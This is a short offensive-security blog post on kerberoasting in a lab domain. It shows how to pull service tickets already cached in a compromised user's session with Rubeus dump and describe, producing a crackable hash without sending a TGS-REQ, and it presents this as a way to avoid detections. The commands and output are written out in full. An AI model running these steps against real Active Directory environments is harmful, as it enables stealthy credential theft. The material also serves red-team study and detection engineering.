Kerberoasting w/o the TGS-REQ
Kerberoasting is a technique that allows an attacker to extract the encrypted part of a TGS-REP and brute force it offline to recover the plaintext password of the associated service account. The most common method of obtaining TGS-REPs is for the attacker to send TGS-REQs to the KDC for one or more SPNs, using a command such as Rubeus kerberoast
.
Strategies to detect kerberoasting include looking for spikes in TGS-REQs from a single source, or TGS-REQs for 'honeypot' SPNs. A careless attacker can get caught quite easily. Another method of obtaining TGS-REPs could be to listen for them on the wire. However, in this short post, I'll show how an attacker can use service tickets that have already been requested legitimately by a user.
Consider a scenario where you compromise a user and list out their tickets using something like klist
or Rubeus triage
. In the example below, we see a service ticket for MSSQLSvc.
> klist
Current LogonId is 0:0x17afca
Cached Tickets: (2)
#0> Client: pchilds @ CONTOSO.COM
Server: krbtgt/CONTOSO.COM @ CONTOSO.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 3/5/2025 15:38:28 (local)
End Time: 3/6/2025 1:38:28 (local)
Renew Time: 3/12/2025 15:38:28 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called: lon-dc-1.contoso.com
#1> Client: pchilds @ CONTOSO.COM
Server: MSSQLSvc/lon-db-1.contoso.com:1433 @ CONTOSO.COM
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
Start Time: 3/5/2025 15:38:28 (local)
End Time: 3/6/2025 1:38:28 (local)
Renew Time: 3/12/2025 15:38:28 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called: lon-dc-1.contoso.com
This ticket can be extracted from memory using Rubeus dump
.
> Rubeus.exe dump /service:MSSQLSvc /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
Action: Dump Kerberos Ticket Data (Current User)
[*] Target service : MSSQLSvc
[*] Current LUID : 0x17afca
UserName : pchilds
Domain : CONTOSO
LogonId : 0x17afca
UserSID : S-1-5-21-3926355307-1661546229-813047887-1105
AuthenticationPackage : Negotiate
LogonType : Interactive
LogonTime : 05/03/2025 15:36:52
LogonServer : LON-DC-1
LogonServerDNSDomain : CONTOSO.COM
UserPrincipalName : pchilds@contoso.com
ServiceName : MSSQLSvc/lon-db-1.contoso.com:1433
ServiceRealm : CONTOSO.COM
UserName : pchilds (NT_PRINCIPAL)
UserRealm : CONTOSO.COM
StartTime : 05/03/2025 15:38:28
EndTime : 06/03/2025 01:38:28
RenewTill : 12/03/2025 15:38:28
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : b/u89Uz0FFWFQTTl3792jxjkuFlLjvyPifaor0um8Do=
Base64EncodedTicket :
doIGI[...snip...]xNDMz
Rubeus' describe
command is clever enough to identify this as a service ticket and will extract the encrypted part in a hash format that can be cracked. You just need to substitute in the USER
and DOMAIN
fields so that the salt can be properly calculated. There are /serviceuser
and /servicedomain
parameters for the describe
command that should do this for you, but they didn't appear to apply for me. I'm not sure if this is a bug or if it was just me...
> Rubeus.exe describe /ticket:doIGI[...snip...]xNDMz /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Describe Ticket
ServiceName : MSSQLSvc/lon-db-1.contoso.com:1433
ServiceRealm : CONTOSO.COM
UserName : pchilds (NT_PRINCIPAL)
UserRealm : CONTOSO.COM
StartTime : 05/03/2025 15:38:28
EndTime : 06/03/2025 01:38:28
RenewTill : 12/03/2025 15:38:28
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : b/u89Uz0FFWFQTTl3792jxjkuFlLjvyPifaor0um8Do=
Kerberoast Hash : $krb5tgs$23$*USER$DOMAIN$MSSQLSvc/lon-db-1.contoso.com:1433*$1C1CB[...snip...]2CA0B
This scenario obviously requires your compromised user having an appropriate service ticket cached in their logon session, and yeah, how likely is that? But if one does happen to be there, it could be a nice way of kerberoasting without having to send a TGS-REQ and potentially avoiding those detections.